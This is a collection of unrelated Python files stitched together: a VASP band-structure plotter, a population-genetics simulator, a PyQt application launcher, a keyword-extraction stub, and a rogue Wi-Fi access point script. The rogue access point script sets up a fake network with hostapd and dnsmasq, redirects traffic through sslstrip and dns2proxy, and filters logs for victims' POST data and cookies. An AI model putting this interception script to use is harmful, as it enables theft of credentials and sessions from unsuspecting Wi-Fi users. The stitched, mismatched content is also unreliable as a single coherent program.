# -*- coding: utf-8 -*-
"""
Created on 10:06 13-11-2020

@author: XY Ding
mail to: dxy_vasp@163.com
python3: band.py
"""
import os, sys
curPath = os.path.abspath(os.path.dirname(__file__))
sys.path.append(curPath)
import numpy as np
from matplotlib import pyplot as plt
import math
import initial

# ******************** band ************************
# get K-PATH form KPOINTS and calculating the kpt
def get_kpt(filename = "KPOINTS"):
    high_kpt_num = 0
    high_kpt_point = []
    kpt = []
    kpath = []
    kpoints = open(filename, 'r').read().splitlines()
    num_kpt_line = int(kpoints[1].split()[0])
    for flag_kpath in range(4, len(kpoints), 3):
        kpt_data1 = list(map(float, kpoints[flag_kpath].split()[0:3]))
        kpt_points_data = kpoints[flag_kpath].split('!')[1].strip()
        if kpt_points_data == "\Gamma":              # transform the gamma character
            kpt_points_data = u"Γ"
        high_kpt_num = high_kpt_num + 1              # get high symmetry point number
        high_kpt_point.append(kpt_points_data)       # get high symmetry points
        kpath.append(kpt_data1[0:3])
    kpt_points_data1 = kpoints[-1].split('!')[1].strip()
    if kpt_points_data1 == "\Gamma":             # transform the gamma character
        kpt_points_data1 = u"Γ"
    high_kpt_point.append(kpt_points_data1)      # get high symmetry points
    kpt_data2 = list(map(float, kpoints[-1].split()[0:3]))
    kpath.append(kpt_data2)                          # get high symmetry path
    high_kpt_num = int(high_kpt_num + 1)                 # get high symmetry point number

    # calculating all the kpoints for the k axis of band
    # 1. transform the high symmetry points to its real coordinates in k space
    k_real = []
    k_middle = []
    k = [0, 0, 0]
    kx = [0, 0, 0]
    ky = [0, 0, 0]
    kz = [0, 0, 0]
    for flag_k in range(0, len(kpath)):
        for flag_d in range(0, 3):
            kx[flag_d] = kpath[flag_k][0] * initial.get_reciprocal()[flag_d]
            ky[flag_d] = kpath[flag_k][1] * initial.get_reciprocal()[flag_d+3]
            kz[flag_d] = kpath[flag_k][2] * initial.get_reciprocal()[flag_d+6]
            k[flag_d] = kx[flag_d] + ky[flag_d] + kz[flag_d]
        k_middle = [k[0], k[1], k[2]]                   # real high symmetry point coordinations
        k_real.append(k_middle)

    # calculating the kpath_length
    length = [0] * len(k_real)
    for cal_k in range(0, len(k_real)):
        if cal_k < len(k_real)-1:
            for i in range(0, 3):
                length[cal_k] = (
                    (k_real[cal_k + 1][0] - k_real[cal_k][0]) ** 2 + (k_real[cal_k + 1][1] - k_real[cal_k][1]) ** 2 + (
                                k_real[cal_k + 1][2] - k_real[cal_k][2]) ** 2) ** (0.5)
        else:
            break

    # get all the kpoints
    num_kpt = (num_kpt_line) * (high_kpt_num-1)
    kpt = []
    kn = 0.0
    lent = 0
    for flag_kpt_hn in range(0, high_kpt_num-1):
        for flag_kpt_pn in range(0, num_kpt_line):
            kn = lent + (length[flag_kpt_hn] / (num_kpt_line -1)) * flag_kpt_pn
            round(float(kn), 6)
            kpt.append(kn)
        lent = lent + length[flag_kpt_hn]
    return int(num_kpt), length, high_kpt_point, kpt

# output klines.dat
def output_klines(filename = "KPOINTS"):
    num_kpt, length, high_kpt_point, kpt = get_kpt(filename)
    len_high_k = 0
    for j in range(0, len(length)):
        length[j] = length[j] + len_high_k
        len_high_k = length[j]
    with open("klines.dat", "w", encoding='utf-8') as kline:
        kline.write("high_kpoints" + "\n")
        kline.write(str("0.").ljust(10, '0') + "  " + str(10) + "\n")
        kline.write(str("0.").ljust(10, '0') + "  " + str(-15) + "\n")
        for l_num in range(0, len(length) - 1):
            kline.write(str(length[l_num])[:10].ljust(10, '0') + "  " + str(-15) + "\n")
            kline.write(str(length[l_num])[:10].ljust(10, '0') + "  " + str(10) + "\n")
            kline.write(str(length[l_num])[:10].ljust(10, '0') + "  " + str(-15) + "\n")
    kline.close()

# get Energy level form Eigenval file
def get_eigenval():
    num_kpt, length, high_kpt_point, kpt = get_kpt()
    fermi = initial.get_fermiLevel()
    eig = []
    eig_up = []
    eig_dw = []
    energy_kpt = []
    energy_kpt_up = []
    energy_kpt_dw = []
#    energy = []
    nbd = initial.get_NBANDS() + 2
    ispin = initial.get_ispin()
    eigenval_lines = open('EIGENVAL', 'r').read().splitlines()
    if ispin == 1:
        for flag_nbd_num in range(0, nbd-2):
            for flag_k_num in range(0, int(num_kpt)+1):
                if flag_k_num < int(num_kpt):
                    flag_orbital = 8 + flag_nbd_num + flag_k_num * nbd
                    eig = float(eigenval_lines[flag_orbital].split()[1]) - fermi
                    round(float(eig), 6)
                    energy_kpt.append(eig)
        return energy_kpt
    elif ispin == 2:
        for flag_nbd_num in range(0, nbd-2):
            for flag_k_num in range(0, int(num_kpt)+1):
                if flag_k_num < int(num_kpt):
                    flag_orbital = 8 + flag_nbd_num + flag_k_num * nbd
                    eig_up = float(eigenval_lines[flag_orbital].split()[1]) - fermi
                    eig_dw = float(eigenval_lines[flag_orbital].split()[2]) - fermi
                    round(float(eig_up), 6)
                    round(float(eig_dw), 6)
                    energy_kpt_up.append(eig_up)
                    energy_kpt_dw.append(eig_dw)
        return energy_kpt_up, energy_kpt_dw
    else:
        return "No Ispin Information Obtained !"

# output band.dat
def output_band():
    output_klines()
    ispin = initial.get_ispin()
    if ispin == 1:
        num_kpt, length, high_kpt_point, kpoints = get_kpt()
        nbd = initial.get_NBANDS()
        kpt = np.transpose(np.array(kpoints))
        # kpt = kpoints.astype(np.float)
        eng = np.array(get_eigenval())
        energy = eng.reshape(nbd, num_kpt)
        # reverse the sequence
        #    rev_kpt = kpt[::-1]
        with open("band.dat", "w", encoding='utf-8') as band:
            band.write("Band Data" + "\n")
            for k_num in range(0, num_kpt):
                band.write(str(kpt[k_num])[:10].ljust(10, ' ') + "  ")
                for flag_nbd in range(0, nbd):
                    band.write(str(energy[flag_nbd][k_num])[:10].ljust(10, ' ') + "  ")
                band.write("\n")
        band.close()
    elif ispin == 2:
        num_kpt, length, high_kpt_point, kpoints = get_kpt()
        nbd = initial.get_NBANDS()
        kpt = np.transpose(np.array(kpoints))
        eng_up, eng_dw = get_eigenval()
        eig_up = np.array(eng_up)
        eig_dw = np.array(eng_dw)
        energy_up = eig_up.reshape(nbd, num_kpt)
        energy_dw = eig_dw.reshape(nbd, num_kpt)
        with open("band_up.dat", "w", encoding='utf-8') as band_up:
            band_up.write("Band Data" + "\n")
            for k_num in range(0, num_kpt):
                band_up.write(str(kpt[k_num])[:10].ljust(10, ' ') + "    ")
                for flag_nbd in range(0, nbd):
                    band_up.write(str(energy_up[flag_nbd][k_num])[:10].ljust(10, ' ') + "    ")
                band_up.write("\n")
        band_up.close()
        with open("band_dw.dat", "w", encoding='utf-8') as band_dw:
            band_dw.write("Band Data" + "\n")
            for k_num in range(0, num_kpt):
                band_dw.write(str(kpt[k_num])[:10].ljust(10, ' ') + "    ")
                for flag_nbd in range(0, nbd):
                    band_dw.write(str(energy_dw[flag_nbd][k_num])[:10].ljust(10, ' ') + "    ")
                band_dw.write("\n")
        band_dw.close()
    else:
        print("No Ispin Information Obtained !")

# plot band
def bandplot(eng_r = [-10, 6, 2], color_noispin = "black", color_ispin = "red"):
    output_band()
    ispin = initial.get_ispin()
    if ispin == 1:
        num_kpt, length, high_kpt_point, kpoints = get_kpt()
        nbd = initial.get_NBANDS()
        banddata = np.loadtxt("band.dat", skiprows=1, dtype=np.float64)
        kpt = banddata[:, 0]
        len_high_k = 0
        for j in range(0, len(length) - 1):
            length[j] = length[j] + len_high_k
            len_high_k = length[j]
        fig, ax = plt.subplots()
        for i in range(1, nbd + 1):
            plt.plot(kpt, banddata[:, i], color=color_noispin)
        plt.xlim(0, max(length))
        x_group_label = []
        x_start = 0
        x_group_label.append(x_start)
        for k in range(0, len(length) - 1):
            x_group_label.append(length[k])
        plt.xticks(x_group_label)
        ax.set_xticklabels(high_kpt_point, rotation=0, fontsize=12, fontname='arial')
        # plt.yticks(eng_r[0], eng_r[1], eng_r[2])
        plt.ylim(eng_r[0], eng_r[1])
        plt.ylabel("E - " + "E$_\mathrm{{F}}$" + " (eV)", fontsize=14, fontname='arial')
        ytick = np.arange(eng_r[0], eng_r[1] + 1, eng_r[2])
        a = int(len(ytick) / 2)
        plt.yticks(np.insert(ytick, a, 0), fontsize=12, )

        ax.axhline(y=0, xmin=0, xmax=1, linestyle='--', linewidth=0.5, color='0.5')
        for i in length[0:-1]:
            ax.axvline(x=i, ymin=0, ymax=1, linestyle='--', linewidth=0.5, color='0.5')
        plt.savefig("band.png", dpi=300)
        plt.show()
    elif ispin == 2:
        num_kpt, length, high_kpt_point, kpoints = get_kpt()
        nbd = initial.get_NBANDS()
        banddata_up = np.loadtxt("band_up.dat", skiprows=1, dtype=np.float64)
        banddata_dw = np.loadtxt("band_dw.dat", skiprows=1, dtype=np.float64)
        kpt = banddata_up[:, 0]
        len_high_k = 0
        for j in range(0, len(length) - 1):
            length[j] = length[j] + len_high_k
            len_high_k = length[j]
        fig, ax = plt.subplots()
        for i in range(1, nbd + 1):
            plt.plot(kpt, banddata_up[:, i], color=color_noispin)
            plt.plot(kpt, banddata_dw[:, i], color=color_ispin)
        plt.xlim(0, max(length))
        ax.legend(("Spin_UP", "Spin_DW"), loc='best')
        x_group_label = []
        x_start = 0
        x_group_label.append(x_start)
        for k in range(0, len(length) - 1):
            x_group_label.append(length[k])
        plt.xticks(x_group_label)
        ax.set_xticklabels(high_kpt_point, rotation=0, fontsize=12, fontname='arial')
        # plt.yticks(eng_r[0], eng_r[1], eng_r[2])
        plt.ylim(eng_r[0], eng_r[1])
        plt.ylabel("E - " + "E$_\mathrm{{F}}$" + " (eV)", fontsize=14, fontname='arial')
        ytick = np.arange(eng_r[0], eng_r[1] + 1, eng_r[2])
        a = int(len(ytick) / 2)
        plt.yticks(np.insert(ytick, a, 0), fontsize=12, )

        ax.axhline(y=0, xmin=0, xmax=1, linestyle='--', linewidth=0.5, color='0.5')
        for i in length[0:-1]:
            ax.axvline(x=i, ymin=0, ymax=1, linestyle='--', linewidth=0.5, color='0.5')
        plt.savefig("band.png", dpi=300)
        plt.show()
    else:
        print("No Ispin Information Obtained !")

# manipulate the fig
def manipulate_bandplot():
    print("    ****************************************************************")
    print("    *This is a code used to plot kinds of band structure,written by*")
    print("    *                          XY Ding                             *")
    print("    ****************************************************************")
    print("\n")
    print("                       (^o^)GOOD LUCK!(^o^)                         ")
    print("\n")
    ispin = initial.get_ispin()
    if ispin == 1:
        print("    *************************** ISPIN is 1 ****************************")
        print("(1) energy range")
        print("(2) color")
        print("(3) Use default setting")
        inint = int(input("Input number:"))
        if inint == 1:
            energy = []
            min_energy = float(input("minimum energy:"))
            max_energy = float(input("maximum energy:"))
            scale_energy = float(input("energy scale:"))
            energy = [min_energy, max_energy, scale_energy]
            print("(1) continue to setting color")
            print("(2) end setting")
            con_end = int(input("Input number:"))
            if con_end == 1:
                color = str(input("which color do you want:"))
                bandplot(energy, color)
            else:
                bandplot(energy, "black")
        elif inint == 2:
            color = str(input("which color do you want:"))
            print("(1) continue to setting energy range")
            print("(2) end setting")
            con_end = int(input("Input number:"))
            if con_end == 1:
                min_energy = float(input("minimum energy:"))
                max_energy = float(input("maximum energy:"))
                scale_energy = float(input("energy scale:"))
                energy = [min_energy, max_energy, scale_energy]
                bandplot(energy, color)
            else:
                bandplot([-10, 6, 2], color)
        else:
            bandplot([-10, 6, 2], "black")
    elif ispin == 2:
        print("    *************************** ISPIN is 2 ****************************")
        print("(1) energy range")
        print("(2) color")
        print("(3) Use default setting")
        inint = int(input("Input number:"))
        if inint == 1:
            energy = []
            min_energy = float(input("minimum energy:"))
            max_energy = float(input("maximum energy:"))
            scale_energy = float(input("energy scale:"))
            energy = [min_energy, max_energy, scale_energy]
            print("(1) continue to setting color")
            print("(2) end setting")
            con_end = int(input("Input number:"))
            if con_end == 1:
                color_up = str(input("color for Spin_UP:"))
                color_dw = str(input("color for Spin_DW:"))
                bandplot(energy, color_up, color_dw)
            else:
                bandplot(energy, "black", "red")
        elif inint == 2:
            color_up = str(input("color for Spin_UP:"))
            color_dw = str(input("color for Spin_DW:"))
            print("(1) continue to setting energy range")
            print("(2) end setting")
            con_end = int(input("Input number:"))
            if con_end == 1:
                min_energy = float(input("minimum energy:"))
                max_energy = float(input("maximum energy:"))
                scale_energy = float(input("energy scale:"))
                energy = [min_energy, max_energy, scale_energy]
                bandplot(energy, color_up, color_dw)
            else:
                bandplot([-10, 6, 2], color_up, color_dw)
        else:
            bandplot([-10, 6, 2], "black", "red")
    else:
        print("    ******************** ISPIN is not 1 or 2!  Good bye ! ********************")

if __name__ == '__main__':
    manipulate_bandplot()


import os
import time
import subprocess
import begin

def closingAndRestoring(ap, driftnet):
    print("\n\nStopping")
    try:
        os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'")
    except:
        pass
    try:
        os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'")
    except:
        pass
    try:
        os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'")
    except:
        pass

    if driftnet:
        os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'")

    print("\nReseting config files")
    if os.path.isfile("/etc/NetworkManager/NetworkManager.conf.backup"):
        os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf")
    else:
        os.system("sudo rm /etc/NetworkManager/NetworkManager.conf")
    os.system("sudo service network-manager restart")
    os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
    os.system("sudo pkill dnsmasq")
    os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1")
    os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1")
    os.system("sudo iptables --flush")
    os.system("sudo iptables --flush -t nat")
    os.system("sudo iptables --delete-chain")
    os.system("sudo iptables --table nat --delete-chain")

    print("\nEverything closed and restored, script stopping")

@begin.start
def run(ap, net, ssid, channel, WPA2, driftnet = False):
    try:
        script_path = os.path.dirname(os.path.realpath(__file__)) + "/"
        os.system("sudo mkdir " + script_path + "logs > /dev/null 2>&1")
        os.system("sudo chmod 777 " + script_path + "logs")

        network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:" + ap + "\n"
        print("NetworkManager.cfg backup and editing")
        os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
        f = open('/etc/NetworkManager/NetworkManager.conf', 'w')
        f.write(network_manager_cfg)
        f.close()

        print("\nRestarting NetworkManager")
        os.system("sudo ifconfig " + ap_iface + " up")
        os.system("sudo ifconfig " + ap + " up")

        print("\ndnsmasq.conf backup and update")
        os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
        dnsmasq_file = "port=0\n# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1\n"
        os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
        f = open('/etc/dnsmasq.conf', 'w')
        f.write(dnsmasq_file)
        f.close()

        hostapd_file = "interface=" + ap + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\nwpa=2\nwpa_passphrase=" + WPA2 + "\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP\nrsn_pairwise=CCMP\n"
        print("\nNew hostpad.conf file")
        os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
        f = open('/etc/hostapd/hostapd.conf', 'w')
        f.write(hostapd_file)
        f.close()

        print("\nConfig iptables")
        os.system("sudo ifconfig " + ap + " up 10.0.0.1 netmask 255.255.255.0")
        os.system("sudo iptables --flush")
        os.system("sudo iptables --table nat --flush")
        os.system("sudo iptables --delete-chain")
        os.system("sudo iptables --table nat --delete-chain")
        os.system("sudo iptables --table nat --append POSTROUTING --out-interface " + net + " -j MASQUERADE")
        os.system("sudo iptables --append FORWARD --in-interface " + ap + " -j ACCEPT")

        print("\nStrating DNSMASQ server")
        os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
        os.system("sudo pkill dnsmasq")
        os.system("sudo dnsmasq")
        os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000")
        os.system("sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 53")
        os.system("sudo iptables -t nat -A PREROUTING -p tcp --dport 53 -j REDIRECT --to-port 53")
        os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")

        print("\nStarting Rogue AP")
        os.system("sudo screen -S mitmap-sslstrip -m -d python " + script_path + "sslstrip2/sslstrip.py -l 9000 -w " + script_path + "logs/mitmap-sslstrip.log -a")
        os.system("sudo screen -S mitmap-dns2proxy -m -d sh -c 'cd " + script_path + "dns2proxy && python dns2proxy.py'")
        time.sleep(5)
        os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")

        if driftnet:
            print("\nStarting Driftnet")
            os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap)

        time.sleep(10)

        while True:
            try:
                print("Collecting ...")
                time.sleep(1)
                os.system("sudo tail -f " + script_path + "logs/mitmap-sslstrip.log | grep -e 'Sending Request: POST' -e 'New host:' -e 'Sending header: cookie' -e 'POST Data'")
            except KeyboardInterrupt:
                break

        closingAndRestoring(ap, driftnet)

    except:
        print("\nSometing wrong happened")

        closingAndRestoring(ap, driftnet)


from __future__ import division
from __future__ import print_function
from __future__ import absolute_import

import re
import sys
import argparse
import os
os.environ['OPL_NUM_THREADS'] = "1"
os.environ['MKL_NUM_THREADS'] = "1"
os.environ['NUMEXPR_NUM_THREADS'] = "1"
import numpy as np
import numpy.random as npr
import scipy.stats as st
import pandas as pd

from scipy.misc import comb
from collections import OrderedDict

from . import likelihoods as lik

from . import _wf
from . import _util
from . import newick
from . import ages
from .util import *

def get_heteroplasmic_filter(results, is_frequencies, tree):
    leaves = []
    for node in tree.walk('postorder'):
        if node.is_leaf:
            leaves.append(node.name)
    if is_frequencies:
        freqs = results.loc[:,leaves]
    else:
        n_cols = [leaf + '_n' for leaf in leaves]

        freqs = (results.loc[:,leaves].values /
                results.loc[:,n_cols])
    is_het = ~((freqs.sum(1) == len(leaves)) | (freqs.sum(1) == 0.0))
    return is_het

def get_parameters(
        params_file,
        tree,
        num_families = None,
        sites_per_family = 50,
        ages = None,
        exact = False):
    bls = {}
    mrs = {}
    ab = np.nan
    ages_found = False

    age_names = []

    if ages is not None:
        if not exact:
            age_indices = np.sort(npr.choice(ages.shape[0],
                    size = num_families,
                    replace = True))
            # define family_ages below

    with open(params_file) as fin:
        for line in fin:
            line = line.strip()
            if '---' in line:
                if not num_families:
                    break
                ages_found = True
                mathpat = '([^\s]+)\s+([^\s]+)\s*([\+-])\s*([^\s]+)'
                mathre =  re.compile(mathpat)
                normpat = '([^\s]+)\s+([^\s]+)\s+([^\s]+)'
                normre = re.compile(normpat)
                ret_ages = {}
                continue
            if not ages_found:
                spline = [el for el in line.split() if el != '']
                name = spline[0]
                bl = float(spline[1])
                mr = float(spline[2])
                if name == tree.name:
                    # assume the two parameters are the same at the root
                    ab = bl
                    ppoly = mr
                else:
                    bls[name] = bl
                    mrs[name] = mr

            else:  # (ages found)
                normmat = normre.match(line)  # match for Gaussian pattern
                mathmat = mathre.match(line)  # match for arithmetic pattern
                if normmat:
                    name, mean, sd = normmat.group(1,2,3)
                    if ages is None:
                        mean = float(mean)
                        sd = float(sd)
                        family_ages = np.maximum(
                                npr.normal(mean, sd, size = num_families), 0.4)
                        age_names.append(name)
                        rep_ages = np.repeat(
                                family_ages, sites_per_family)
                        ret_ages[name] = rep_ages
                    else:
                        if not exact:
                            family_ages = ages[name].iloc[age_indices].values
                            rep_ages = np.repeat(
                                    family_ages, sites_per_family)
                            ret_ages[name] = rep_ages
                        else:
                            age_names.append(name)
                    # ages, repeated for output. If the number of replicates is
                    # not a multiple of the number of families, the final
                    # family gets fewer (independent) sites

                elif mathmat:
                    name, arg1, signstr, arg2 = mathmat.group(1,2,3,4)
                    if not exact:
                        if signstr == '-':
                            ret_ages[name] = ret_ages[arg1]-ret_ages[arg2]
                        elif signstr == '+':
                            ret_ages[name] = ret_ages[arg1]+ret_ages[arg2]
                        else:
                            raise ValueError('invalid expression in {}'.format(
                                    params_file))
                    age_names.append(name)
                else:
                    raise ValueError('bad age line: {}'.format(line))

    if np.isnan(ab):
        raise ValueError('root parameter not found in {}'.format(params_file))
    for node in tree.walk('postorder'):
        if node == tree:
            continue
        varname = node.varname
        if varname not in bls:
            raise ValueError('parameter(s) for {} not found in {}'.format(
                varname, params_file))

    if num_families:
        if exact:
            family_ages = ages.loc[:,age_names].copy()
            locus_family_indices = np.repeat(np.arange(family_ages.shape[0]),
                    sites_per_family)
            ret_ages = family_ages.iloc[locus_family_indices,:].copy()
            family_idxs = np.repeat(np.arange(family_ages.shape[0]),
                    sites_per_family)
            ret_ages['family'] = family_idxs
            ret_ages = pd.DataFrame(ret_ages)

        else:
            family_idxs = np.repeat(np.arange(num_families), sites_per_family)
            ret_ages['family'] = family_idxs
            ret_ages = pd.DataFrame(ret_ages)

        return bls, mrs, ab, ppoly, ret_ages
    else:
        return bls, mrs, ab, ppoly

def get_stationary_distn(N, a, b, double_beta = False, ppoly = None):
    assert 3/2 == 1.5
    if double_beta:
        assert ppoly is not None, "ppoly must not be None for double beta"
        p = lik.discretize_double_beta_distn(a, b, N, ppoly)
    else:
        p = lik.discretize_beta_distn(a, b, N)
        p /= p.sum()
    return p

def get_header(leaves, frequencies):
    if not frequencies:
        header = leaves + ['coverage', 'age']
    else:
        header = leaves + ['age']
    return header

def run_simulations(reps, tree, bls, mrs, N, stationary_distn,
        mean_coverage, frequencies, family_indices, exact_ages):
    '''
    reps
    tree
    bls
    mrs
    N
    stationary_distn
    binomial_sample_size
    frequencies            bool, whether to write frequencies
    family_indices         indices for each family
    '''

    leaves = []
    multipliers = {}
    for node in tree.walk('postorder'):
        if node.is_leaf:
            leaves.append(node.name)
        if node.multipliername is not None:
            multipliers[node.multipliername] = node.multipliervalues

    header = leaves + list(multipliers.keys())

    # for each node, counts will hold the allele counts for that node, as a
    # numpy array
    counts = {}

    for node in tree.walk():
        node_name = node.name
        if node == tree:
            # mrca, sample from stationary_distn
            counts[node_name] = npr.choice(
                    np.arange(0,N+1),
                    p = stationary_distn,
                    size = reps,
                    replace = True).astype(np.int32)
        else:
            node_name = node.name
            node_varname = node.varname
            multvalues = node.multipliervalues
            anc_counts = counts[node.ancestor.name]
            if node.multipliervalues is not None:
                if node.is_bottleneck:
                    print(node.multipliervalues)
                    print(node_varname)
                    raise ValueError(
                    'bottleneck specified for a branch with rate')
                rate = bls[node_varname]
                lengths = rate*multvalues
                gens = np.array(np.round(N*lengths).astype(np.int32))
                gen_mut_rate = mrs[node.varname] / (2.0*N)
                counts[node_name] = _wf.simulate_transitions(anc_counts, gens,
                                                             N, gen_mut_rate)
            else:
                length = bls[node_varname]
                gen_mut_rate = mrs[node_varname] / (2.0*N)
                if node.is_bottleneck:
                    Nb = length   # bottleneck size
                    counts[node_name] = _wf.simulate_bottlenecks(anc_counts,
                            N, Nb, gen_mut_rate)
                else:    # not a bottleneck
                    gens = np.array(np.round((N*length)*np.ones(reps)).astype(
                        np.int32))
                    counts[node_name] = _wf.simulate_transitions(
                            anc_counts, gens, N, gen_mut_rate)

    # make a pandas DataFrame
    columns = leaves + list(multipliers.keys())

    # always do binomial sampling at the leaves
    #if binomial_sample_size:
    n = mean_coverage

    if not frequencies:
        for leaf in leaves:
            curcov = npr.poisson(n, size = counts[leaf].shape[0]).astype(
                    np.int32)
            counts[leaf] = _wf.bin_sample_freqs(counts[leaf], N,
                    curcov)
            cov_name = leaf + '_n'
            counts[cov_name] = curcov
        cov_names = [leaf + '_n' for leaf in leaves]
        columns += cov_names
        leaf_cols = leaves + cov_names
    else:
        leaf_cols = leaves[:]

    resultsdict = {col:(counts[col] if col in leaf_cols else multipliers[col])
            for col in columns}
    results = pd.DataFrame(resultsdict, columns = columns)

    results['family'] = family_indices

    if frequencies:
        results[leaves] /= n

    return results

def run_simulate(args):

    with open(args.tree) as fin:
        tree_str = fin.read().strip()
    tree = newick.loads(tree_str, length_parser = length_parser_str,
            look_for_multiplier = True)[0]
    ages_dat = None
    if args.ages:
        ages_dat = pd.read_csv(args.ages, sep = '\t')
    branch_lengths, mut_rates, ab, ppoly, ages = (
            get_parameters(args.parameters, tree, args.num_families,
                args.sites_per_family, ages_dat, args.exact_ages))
    tree.set_multiplier_values(ages)

    leaves = []
    for node in tree.walk('postorder'):
        if node.is_leaf:
            leaves.append(node.name)

    a, b = ab, ab
    if a <= 0:
        raise ValueError('root parameter must be > 0')
    N = args.N
    stationary_distn = get_stationary_distn(N, a, b,
            double_beta = (not args.single_beta), ppoly = ppoly)
    comment_strings = []
    for varname in list(branch_lengths.keys()):
        comment_strings.append("# {} {} {}".format(varname,
            branch_lengths[varname], mut_rates[varname]))
    comment_strings.append('# ab: {}'.format(a))
    comment_strings.append('# data columns: ' + ','.join(leaves))
    comment_strings.append('# ' + ' '.join(sys.argv))
    print('\n'.join(comment_strings))

    if args.exact_ages:
        reps = ages.shape[0]
    else:
        reps = args.num_families * args.sites_per_family

    results = run_simulations(reps, tree,  branch_lengths,
            mut_rates, N, stationary_distn,
            args.mean_coverage, args.frequencies,
            family_indices = ages['family'], exact_ages = args.exact_ages)

    if args.heteroplasmic_only:
        cond = get_heteroplasmic_filter(results, args.frequencies, tree)
        results = results.loc[cond,:]

    results.to_csv(sys.stdout, sep = '\t',
            index = False, float_format = '%.4f')

if __name__ == '__main__':
    run_simulate()


# this makes sure that QString's are converted to Python strings - so that routines expecting python
# strings don't blow up with type incompatibility issues - it must be the first line in the file.
import sip
sip.setapi('QString', 2)

# VERY important, importing this module monkey patches Win32 os routines to have super-powers (like; can detect symlinks)
from lib.platform import Platform

from widgets.logging_widget import LoggingWidget
from PyQt4.QtGui import QMainWindow, QApplication, QMessageBox
import sys

main_app = QApplication(sys.argv)

# these two don't look like they are used - but they are required so that the PyInstaller
# packaging properly picks up the dependencies to the modules (note: these are not used any longer - but its nice to know how to
# force refs to modules, right?)  ....   and I'm leaving it in cos it does no harm.
from PyQt4.QtSql import QSqlDatabase
from PyQt4.QtCore import QSettings

# so that the settings get a sane name throughout the program
main_app.setOrganizationName("FileWave")
main_app.setApplicationName("PyMagic")

from widgets.scan_wizard import ScanWizard
from ui.app_window_and_menu import Ui_MainWindow
from widgets.preferences_widget import PreferencesWidget

import os, sys

import logging
logger = logging.getLogger(__name__)

class DummyMainWindow(QMainWindow):
    def __init__(self, parent):
        super(DummyMainWindow, self).__init__(parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

def submitBugReport():
    QMessageBox.information(None, "Prototype Idea", "Submit a bug report direct from the tool - it can collect the database (in compressed form), the current search expressions etc - allow you to enter a description of the problem, attach files and then get this to the right people at FileWave... \r\n\na good idea right?\n\nStay tuned...")

def run_app():
    # these addLibraryPath lines force the current runtime/exe directory to be part of the library
    # dll load path - making the resource system capable of loading libqsqlite.dylib and friends
    d = "qt4_plugins"
    d = os.path.join(os.path.dirname(sys.argv[0]), d)
    main_app.addLibraryPath(os.path.abspath(d))
    logger.debug("lib paths are now: {0}".format(main_app.libraryPaths()))
    logger.debug("app dir path is: {0}".format(main_app.applicationDirPath()))

    # the window is instantiated but NEVER SHOWN, only doing this so I have an easy way
    # of editing the QMenu items via the Designer
    dummy = DummyMainWindow(None)
    menubar = dummy.ui.menubar

    main_gui = ScanWizard()
    menubar.setParent(main_gui)

    dummy.ui.actionSubmit_Bug_Report.triggered.connect(lambda: submitBugReport())

    # logging window - hook up exception handler asap
    dummy.ui.actionShow_Log.triggered.connect(lambda: logging.show())

    # preferences window
    prefs = PreferencesWidget()
    dummy.ui.actionPreferences.triggered.connect(lambda: prefs.show())

    sheet = """
    QWidget#filterContainer {
        background: qlineargradient(spread:pad, x1:0, y1:0, x2:1, y2:0, stop:0 rgba(120, 120, 120, 255), stop:1 rgba(120, 120, 120, 120))
    }

    QToolButton[styled="true"] {
        border: 1px solid #b0b0b0;
        background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,
                                 stop: 0 #eeeeee, stop: 0.4 #ffffff,
                                 stop: 0.5 #e3e3e3, stop: 1.0 #efefef);
        color:#505050;
    }

    QToolButton[styled="true"]:hover {
        border: 1px solid gray;
        background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,
                                 stop: 0 #eeeeee, stop: 0.4 #ffffff,
                                 stop: 0.5 #e3e3e3, stop: 1.0 #efefef);
        color: #505050;
    }

    QToolButton[styled="true"]:pressed {
        border: 1px solid gray;
        background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,
                                 stop: 0 #dddddd, stop: 0.4 #eeeeee,
                                 stop: 0.5 #d3d3d3, stop: 1.0 #dfdfdf);
        color: #505050;
    }

    """

    if Platform.isMac:
        main_app.setStyleSheet(sheet)

    main_gui.show()
    main_gui.raise_()

    # delay load the exception hook, in case
    logging = LoggingWidget()
    logging.installExceptHook()

    main_app.exec_()

if __name__ == '__main__':
    logging.basicConfig(format='%(asctime)s, %(levelname)s: %(message)s',  datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)
    run_app()


# -*- coding: utf-8 -*-
# @Project:AID1810
# @Author:biabu
# @Date:2019/4/15 11:33
# @File_name:02_keywordExtraction.py
# @IDE:PyCharm

"""
贝叶斯新闻关键词提取 和 新闻分类
"""

import pandas as pd
import jieba
import jieba.analyse
